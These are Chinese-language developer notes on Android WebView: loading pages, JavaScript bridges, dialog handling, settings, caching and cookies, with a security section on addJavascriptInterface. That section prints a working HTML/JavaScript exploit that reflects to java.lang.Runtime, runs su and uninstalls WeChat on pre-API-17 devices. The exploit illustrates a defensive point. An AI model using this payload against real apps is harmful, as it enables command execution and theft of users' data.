Android应用开发中WebView的常用方法笔记整理
基本使用
使用WebView通常是需要网络的,所以需要加上访问网络的权限
<uses-permissionandroid:name="android.permission.INTERNET"/>
1.加载某个url的方法
WebView.loadUrl("http://www.baidu.com");
需要注意的是不要省略前面的http://,省略的话,某些ROM中的WebView会加载失败
2.加载assets中的HTML
WebView.loadUrl("file:///android_asset/xxx.html")
3.加载一段javascript
WebView.loadUrl("javascript:"+${js_code})
4.为js提供本地方法
如下,提供一个showToast的方法给javascript
privatestaticclassJavaJs{ privateContextcontext; JavaJs(Contextcontext){ this.context=context; } @JavascriptInterface publicvoidshowToast(Stringstr){ Toast.makeText(context,str,Toast.LENGTH_LONG).show(); } } webView.addJavascriptInterface(newJavaJs(this),"JavaJs"); <scripttype="text/javascript"> JavaJs.showToast("toastfromjs"); </script>
注意:
- 提供给javascript的方法必需是public的,否则js无法访问
- 提供给javascript的方法将会在WebView管理的线程中执行,因此要保证该方法的线程安全性.(Toast是支持在非UI线程中show()的,所以上面的showToast方法是没问题的)
- 提供给javascript的方法一定要加上@JavascriptInterface
- 在Android4.2,Api17之前,javascript可以通过反射java对象,来执行一些危险操作.比如反射取到Runtime,然后执行shell命令
- 虽然@JavascriptInterface是在Api17加上的,但是Api17之前,我们依然建议将提供给javascript的方法加上该annotation.(JSR-175规定,运行时annotation缺失,则直接忽略,而不会抛出ClassNotFoundException)
- 针对Android4.2以前的设备,我们建议不要通过addJavascriptInterface向javascript提供方法,并且通过removeJavascriptInterface("searchBoxJavaBridge_")来移除WebView自己添加的java对象.
5.页面跳转
webView.setWebViewClient(newWebViewClient(){ @Override publicbooleanshouldOverrideUrlLoading(WebViewview,Stringurl){ if(Uri.parse(url).getHost().equals("www.xxx.com")){ //自己的页面,直接使用WebView加载 returnfalse; } //别的公司的页面,使用浏览器打开 Intentintent=newIntent(Intent.ACTION_VIEW,Uri.parse(url)); startActivity(intent); returntrue; } });
6.访问历史回退
@Override publicbooleanonKeyDown(intkeyCode,KeyEventevent){ if((keyCode==KeyEvent.KEYCODE_BACK)&&webView.canGoBack()){ webView.goBack(); returntrue; } returnsuper.onKeyDown(keyCode,event); }
7.在Logcat中输出javascript的日志信息
重写WebChromeClient中的onConsoleMessage方法
@Override publicbooleanonConsoleMessage(ConsoleMessageconsoleMessage){ Log.d("WebView",consoleMessage.message()+"jsline:"+consoleMessage.lineNumber()); returntrue; }
8.支持javascript的警告框alert
重写WebChromeClient中的onJsAlert方法
@Override publicbooleanonJsAlert(WebViewview,Stringurl,Stringmessage,finalJsResultresult){ newAlertDialog.Builder(MainActivity.this) .setTitle("JsAlert") .setMessage(message) .setPositiveButton("OK",newDialogInterface.OnClickListener(){ @Override publicvoidonClick(DialogInterfacedialog,intwhich){ result.confirm(); } }) .setCancelable(false) .show(); returntrue; }
9.支持javascript的确认框confirm
重写WebChromeClient中的onJsConfirm方法
@Override publicbooleanonJsConfirm(WebViewview,Stringurl,Stringmessage,finalJsResultresult){ newAlertDialog.Builder(MainActivity.this) .setTitle("JsConfirm") .setMessage(message) .setPositiveButton("OK",newDialogInterface.OnClickListener(){ @Override publicvoidonClick(DialogInterfacedialog,intwhich){ result.confirm(); } }) .setNegativeButton("Cancel",newDialogInterface.OnClickListener(){ @Override publicvoidonClick(DialogInterfacedialog,intwhich){ result.cancel(); } }) .setCancelable(false) .show(); returntrue; }
10.支持javascript提问框prompt
重写WebChromeClient中的onJsPrompt方法
@Override publicbooleanonJsPrompt(WebViewview,Stringurl,Stringmessage,StringdefaultValue,finalJsPromptResultresult){ finalEditTextet=newEditText(MainActivity.this); et.setText(defaultValue); newAlertDialog.Builder(MainActivity.this) .setTitle(message) .setView(et) .setPositiveButton("OK",newDialogInterface.OnClickListener(){ @Override publicvoidonClick(DialogInterfacedialog,intwhich){ result.confirm(et.getText().toString()); } }) .setNegativeButton("Cancel",newDialogInterface.OnClickListener(){ @Override publicvoidonClick(DialogInterfacedialog,intwhich){ result.cancel(); } }) .setCancelable(false) .show(); returntrue; }
11.显示空白页
WebView.loadUrl("about:blank"); //该方法使得WebView只会绘制一个白色背景,并且释放之前加载页面时使用的资源,并停止之前javascript的执行
12.清除返回栈WebView.clearHistory
13.获得访问历史列表WebView.copyBackForwardList
14.下载WebView.setDownloadListener
15.pauseTimers,onPause,resumeTimers,onResume
pauseTimers,onPause停止解析,javascript执行等操作.区别是onPause只作用于调用它的WebView,而pauseTimers作用于当前应用中所有的WebView
resumeTimers,onResume恢复解析,javascript执行等操作.区别是onResume只作用于调用它的WebView,而resumeTimers作用于当前应用中所有的WebView
常用设置
1.安全相关(去掉不必要的JavaBridge)
//这个JavaBridge是WebView自己添加的 //在Api17以前,javascript可以通过java对象进行反射,执行一些不安全的操作 webView.removeJavascriptInterface("searchBoxJavaBridge_");
2.js相关
//设置支持javascript,默认是false WebSettings.setJavaScriptEnabled(true);
3.缩放相关
//使WebView支持通过手势或者缩放控制器来缩放页面,默认是true //该设置不影响WebView.zoomIn()和WebView.zoomOut() WebSettings.setSupportZoom(true); //设置使用默认的缩放控制器,默认是false WebSettings.setBuiltInZoomControls(true); //不显示默认的+/-缩放控制View,默认是true WebSettings.setDisplayZoomControls(false); 加载图片策略相关 //设置是否自动加载图片,默认是`true`,如果设置为`false`,那么所有图片都不会被加载,包括本地图片. WebSettings.setLoadsImagesAutomatically(true); //设置是否阻止加载网络图片,默认是`false`,如果设置为`true`,那么网络图片将不会加载.(可以先设置为true,然后再设置为false,来加快页面加载速度) WebSettings.setBlockNetworkImage(false); //设置是否阻止加载网络资源(不仅仅是图片),默认是`false`,如果设置为`true`,那么网络上的js,css,图片等资源都不会加载 WebSettings.setBlockNetworkLoads(false);
4.渲染相关
//设置渲染线程的优先级 //该方法在Api18之后被废弃,优先级由WebView自己管理 //不过任然建议将其设置为HIGH,来提高页面渲染速度 WebSettings.setRenderPriority(RenderPriority.HIGH); Viewport相关 //设置使用宽的Viewpoint,默认是false //Androidbrowser以及chromeforAndroid的设置是`true` //而WebView的默认设置是`false` //如果设置为`true`,那么网页的可用宽度为`980px`,并且可以通过metadata来设置 //如果设置为`false`,那么可用区域和WebView的显示区域有关. WebSettings.setUseWideViewPort(true); //如果webview内容宽度大于显示区域的宽度,那么将内容缩小,以适应显示区域的宽度,默认是false WebView.setLoadWithOverviewMode(true); <!--如果WebSettings.getUseWideViewPort是true,那么可以通过meta来设置Viewport--> <!--例如将其可用宽度设置为480px,并且禁用缩放功能--> <head> <metaname="viewport"content="width=480,user-scalable=no"/> </head> <!--如果WebSettings.getUseWideViewPort是false,那么不能通过meta来设置-->
其效果类似于:
<metaname="viewport"content="width=device-width"/>
注意:这里的px和通常说的像素不同,他和dp的概念非常类似.参见Mozilla
前端存储相关设置(方便前端工程师在客户端存储数据)
//支持H5的applicationcache的功能 WebSettings.setAppCacheEnabled(true); //设置applicationcache的存储路径(通常存储js,css,图片等) WebSetting.setAppCachePath("xxx"); //支持H5的sessionstorage和localstorage WebSettings.setDomStorageEnabled(true); //支持javascript读,写db WebSettings.setDatabaseEnabled(true); //设置js创建的db文件的路径,Api19以后废弃,直接有webview管理 WebSettings.setDatabasePath("xxx");
5.缓存相关设置
//设置加载资源时,如何使用cache //默认设置是:WebSettings.LOAD_DEFAULT //当WebView正常加载一个页面时,如果缓存命中且没有过期,则使用缓存数据,否则从网络加载,当WebView.goBack()时,如果缓存命中,直接使用,不会验证是否过期 //可用的其他设置:LOAD_CACHE_ELSE_NETWORK,LOAD_NO_CACHE,LOAD_CACHE_ONLY WebSettings.setCacheModel(WebSettings.LOAD_DEFAULT);
6.cookie相关
publicstaticvoidsynCookies(Contextcontext,Stringurl){ CookieManagercookieManager=CookieManager.getInstance(); cookieManager.setAcceptCookie(true);//默认就是true cookieManager.setCookie(url,cookies); if(Build.VERSION.SDK_INT<21){ CookieSyncManager.createInstance(context).sync(); }else{ cookieManager.flush(); } }
addJavascriptInterface的安全问题
1.为javascript提供native接口的途径
AndroidWebView提供一个addJavascriptInterface方法来为javascript创建一个JavaBridge.
例如给js提供一个showToast的方法:
privatestaticclassJavaJs{ privateContextcontext; JavaJs(Contextcontext){ this.context=context; } @JavascriptInterface publicvoidshowToast(Stringstr){ Toast.makeText(context,str,Toast.LENGTH_LONG).show(); } } webView.addJavascriptInterface(newJavaJs(this),"JavaJs"); <scripttype="text/javascript"> JavaJs.showToast("toastfromjs"); </script>
2.安全问题
Api17之前,在WebView为javascript提供了java对象之后,可以利用javascript代码调用java的反射Api,进行一些hack操作,导致安全性问题.(<fontcolor=red>注意:</font>低版本的WebView会自己添加一个searchBoxJavaBridge_对象,通常我们需要自己移除)
Api17之后,WebView会禁止javascript调用没有添加@JavascriptInterface方法,从而避免上述问题.(<fontcolor=red>注意:</font>推荐大家始终添加@JavascriptInterface,而不用关心Api版本,因为annotation缺失并不会导致ClassNotFoundException,而仅仅是被jvm忽略)
安全问题示例(通过javascript卸载微信)
通过反射可以干很多事情,比如类似于UserInfo这样的对象,如果他是单例的话,那么很容易可以取到用户的用户名,邮箱,手机号等信息.
此处展示一个简单的页面,当通过WebView打开这个HTML,手机上的微信就会被卸载(当然前提是该app拥有root权限).
<html> <head> <script> functiontoByteArray(str){ varch,stack,result=[]; for(vari=0;i<str.length;++i){ ch=str.charCodeAt(i); stack=[]; do{ stack.push(ch&0xFF); ch=ch>>8; }while(ch); result=result.concat(stack.reverse()); } returnresult; } functionexecCmd(outputStream){ varcmd="adbshellpmuninstallcom.tencent.mm"; outputStream.write(toByteArray(cmd)); outputStream.close(); } functiontoString(inputStream){ varresult=""; varc; while((c=inputStream.read())!=-1){ vars=String.fromCharCode(c); result+=s; } returnresult; } functionhack(){ for(varobjinwindow){ if("getClass"inwindow[obj]){ console.log(obj); varruntime=window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null); varp=runtime.exec(["su"]); execCmd(p.getOutputStream()); alert(toString(p.getInputStream())); break; } } } hack(); </script> </head> <body> 卸载微信:) </body> </html>